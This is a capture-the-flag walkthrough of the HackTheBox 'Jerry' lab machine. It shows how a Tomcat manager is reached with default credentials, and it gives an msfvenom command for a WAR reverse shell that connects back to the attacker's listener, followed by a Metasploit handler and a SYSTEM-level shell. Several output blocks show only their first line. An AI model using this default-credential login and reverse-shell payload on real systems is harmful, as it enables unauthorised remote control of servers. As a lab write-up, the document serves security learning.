HackTheBox - Jerry Walkthrough
Introduction
OS: Windows
Difficulty: Easy
Points: 0
Release: 30 Jun, 2018
IP: 10.10.10.95
Enumeration
Nmap scan result
1 | Nmap scan report for 10.10.10.95 |
Tomcat server is running on the port 8080.
User and Root Flag
With the default usernames and passwords, we attempted to access the Tomcat manager page
We were able to gain access after some attempts using the username tomcat and the password s3cret
Obtaining reverse shell requires uploading the war reverse shell payload to the Tomcat server.
Metasploit command to create a war meterpreter shell.
msfvenom -p java/meterpreter/reverse_tcp lhost=10.10.14.xx lport=1111 -f war -o sh.war
When you upload the payload, you need to set up the listener before triggering the reverse in Tomcat.
I always use meterpreter shell for Windows machines, but you can upload a shell that is not meterpreter as well.
1 | msf6 > use multi/handler |
Then we got shell as “NT authority/system“
1 | C:\apache-tomcat-7.0.88>whoami |
Got the user and root flag.
1 | C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt" |